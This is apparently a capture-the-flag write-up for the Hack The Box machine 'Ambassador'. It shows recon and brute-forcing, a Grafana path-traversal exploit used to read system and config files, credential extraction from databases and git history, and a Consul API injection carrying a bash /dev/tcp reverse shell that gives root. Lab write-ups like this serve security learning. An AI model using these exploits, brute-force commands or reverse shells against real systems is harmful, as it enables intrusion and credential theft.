Contents

🕵️ HTB-Writeup : AMBASSADOR

Recon

NMAP scan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PORT     STATE SERVICE     REASON  VERSION
22/tcp   open  ssh         syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ambassador Development Server
3000/tcp open  ppp?        syn-ack
| fingerprint-strings: 
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
3306/tcp open  nagios-nsca syn-ack Nagios NSCA
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 11
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsTransactions, LongPassword, FoundRows, LongColumnFlag, SupportsCompression, IgnoreSigpipes, SwitchToSSLAfterHandshake, ODBCClient, IgnoreSpaceBeforeParenthesis, InteractiveClient, ConnectWithDatabase, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: ^\x7F\x19\x13b
| ,FY\x07.ZxlY\x039<HG
|_  Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We face a Linux server (Ubuntu) with an Apache web server. Using Wappalyzer we found that the website is build using the Hugo Framework v0.94.2 and **Apache v2.4.41.

There is some interesting open ports:

  • 22: SSH server
  • 80: HTTP server
  • 3000: ?
  • 3306: MySQL server

Informations gathering

As Floppy.sh is build from Hugo, I know that there is some known page:

  • /posts/
  • /tags/
  • /categories/

As Hugo is a templating model, maybe there is some injection vulnerabilities.

We found an article at http://10.10.11.183/posts/welcome-to-the-ambassador-development-server/.

drawing

This one says that there is a developer account that can login into the SSH server. It says that the password is given by the DevOps.

Browsing at http://10.10.11.183:3000, we face a Grafana login page.

drawing

Busting directories

I used dirbuster to try to find some pages and directories.

drawing

I found a /server-status/ directory. We get a 403 code on it, we can’t access the ressource.

Path to the user

Default credentials

  1. MySQL server

First, I tried to connect into the mysql server with default credentials (root:).

1
2
└─$ mysql -h 10.10.11.183 -u root          
ERROR 1045 (28000): Access denied for user 'root'@'10.10.16.11' (using password: NO)

As expected, the account is password protected.

  1. Grafana login page

I tried some default grafana credentials but like the MySQL, I couldn’t find any valid credentials.

Bruteforcing services

  1. SSH server

As we got the name of the SSH user (developer), I tried to bruteforce the service using Hydra or the Metasploit console.

1
2
3
4
5
6
7
8
msf6 > auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set username developer
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE password.txt
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 10.10.11.183:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

I was not able to find any valid password :(

  1. Grafana login page

I tried to bruteforce the login page of the Grafana using ffuf, with developer & admin users.

1
└─$ ffuf -w password.txt -u "http://10.10.11.183:3000/login" -d '{"user":"developer","password":"FUZZ"}'
  1. MySQL server
1
└─$ hydra -l developer -P /usr/share/wordlists/legion/mysql-betterdefaultpasslist.txt 10.10.11.183 mysql 

Grafana service

I found that Grafana version is v8.2.0. Checking with searchsploit we found that there is a vulnerability on the Grafana service in v8.3.0.

1
2
3
4
5
6
7
└─$ searchsploit grafana        
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC)                                            | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read                        | multiple/webapps/50581.py
----------------------------------------------------------------------------------- ---------------------------------

<https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/

Trying the exploit and…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
└─$ python3 50581.py -H http://10.10.11.183:3000     
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

We can read files on the server throught LFI !

Finding credentials

First, I checked some commons files:

  • SSH keys: /home/developer/.ssh/id_rsa
  • Bash history: /home/developer/.bash_history
  • MySQL config file: /etc/my.cnf

But I didn’t find any useful informations. Then I checked if their is a config file for grafana.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Read file > /etc/grafana/grafana.ini

[...]
# default admin user, created on startup
;admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = messageInABottle685427

# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm

I found some credentials on the config file: admin:messageInABottle685427. Trying those on the login page and… we are in!

drawing

We found a MySQL datasource loaded in Grafana. We can see login information to the grafana database using grafana as user without password.

drawing

But we can’t get the password here. So, I managed to get the grafana database file throught LFI. The file is under /var/lib/grafana/grafana.db.

Reading the data_source table we can get the passord of the user grafana.

1
2
sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2022-11-02 10:47:07|0|{}|1|uKewFgM4z

Credentials are grafana:dontStandSoCloseToMe63221!. We can now connect into the MySQL server.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
└─$ mysql -h 10.10.11.183 -u grafana --password=dontStandSoCloseToMe63221!         
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 87
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [mysql]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+

We found a weird database whackywidget then, a users table with the password of the user developer base64 encoded. We can now access the SSH server !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+

└─$ echo -e "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" |base64 -d
anEnglishManInNewYork027468

developer@ambassador:~$ cat user.txt 
**************************dbe2a3

We can get the user flag :)

Path to the privesc

Local recon

First, I tried to list privilege of developer but the user can’t use the sudo command.

1
2
3
developer@ambassador:~$ sudo -l
[sudo] password for developer: 
Sorry, user developer may not run sudo on ambassador.

We found that there is the lxd package that have been installed using snap at /home/developer/snap/lxd. But trying to execute the command, we get a permission denied.

1
2
developer@ambassador:/opt$ lxc image list
Error: Get "http://unix.socket/1.0": dial unix /var/snap/lxd/common/lxd/unix.socket: connect: permission denied

We find 2 directories in /opt. The 2 projects are consul & my-app.

1
2
3
4
5
6
developer@ambassador:/opt$ ll
total 16
drwxr-xr-x  4 root   root   4096 Sep  1 22:13 ./
drwxr-xr-x 20 root   root   4096 Sep 15 17:24 ../
drwxr-xr-x  6 consul consul 4096 Nov  2 15:34 consul/
drwxrwxr-x  5 root   root   4096 Mar 13  2022 my-app/

The first one, consul, is a networking service of HashiCorp “that enables teams to manage secure network connectivity between services and across multi-cloud environments and runtimes”.

Consul service

Trying a random Consul’s command we get a permission denied.

1
2
developer@ambassador:/opt/my-app$ consul info
Error querying agent: Unexpected response code: 403 (Permission denied: token with AccessorID '00000000-0000-0000-0000-000000000002' lacks permission 'agent:read' on "ambassador")

The other directory contains an app called whackywidget. We found two scripts on it. One is a shell script that put the content of $MYSQL_PASSWORD into consul database.

1
2
3
4
5
developer@ambassador:/opt/my-app/whackywidget$ cat put-config-in-consul.sh 
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

The kv subcommand of consul is used to interact with Consul’s key store. To interact with the database we need to have MYSQL_PASSWORD and CONSUL_HTTP_TOKEN. But actually they are empty.

Checking git log we found some commit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000

    .gitignore

I check changes of the second commit (config script) and I found the Consul’s Token on the /my-app/whackywidget/put-config-in-consul.sh shell script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
└─$ git diff c982db8eff6f10f8f3a7d802f79f2705e7a21b55    
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

We get the consul’s http token: CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5. I tried to get values of the database using that token.

1
developer@ambassador:/opt/my-app$ consul kv get --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw

I get an empty output. We can export the database with the export subcommand.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
developer@ambassador:/opt/my-app$ consul kv export --token bb03b43b-1d81-d62b-24b5-39540ee469b5
[
	{
		"key": "test",
		"flags": 0,
		"value": "aGVsbG8="
	},
	{
		"key": "whackywidget/db/mysql_pw",
		"flags": 0,
		"value": ""
	}
]

We find the key test with the base64 encoded value aGVsbG8= that correspond to hello. But the whackywidget/db/mysql_pw key is empty.

Exploiting Consul API

We know that we have an access to the Consul’s API with the token. So, I managed to search for exploit on github. I found an exploit that allows RCE from the Hashicorp Consul’s API.

The exploit is pretty simple. It allows to register an new service gato to the Consul’s API. We inject a reverse shell on the check key.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
    "Address": "127.0.0.1", 
    "check": {
        "Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/10.10.16.11/4444 0>&1"], 
        "interval": "10s", 
        "Timeout": "864000s"
    }, 
        "ID": "gato", 
        "Name": "gato", 
        "Port": 80
}

The API will execute args put in the check key. So, we just have to open a listener and execute the query.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
developer@ambassador:/tmp$ python3 e.py localhost 8500 10.10.16.11 4444 bb03b43b-1d81-d62b-24b5-39540ee469b5

[+] Request sent successfully, check your listener


└─$ rlwrap nc -lvnp 4444                         
listening on [any] 4444 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.183] 55624
bash: cannot set terminal process group (104537): Inappropriate ioctl for device
bash: no job control in this shell

root@ambassador:/# cat /root/root.txt
*************************268f8e2

We get a root shell after the execution of the exploit. We can get the root flag :)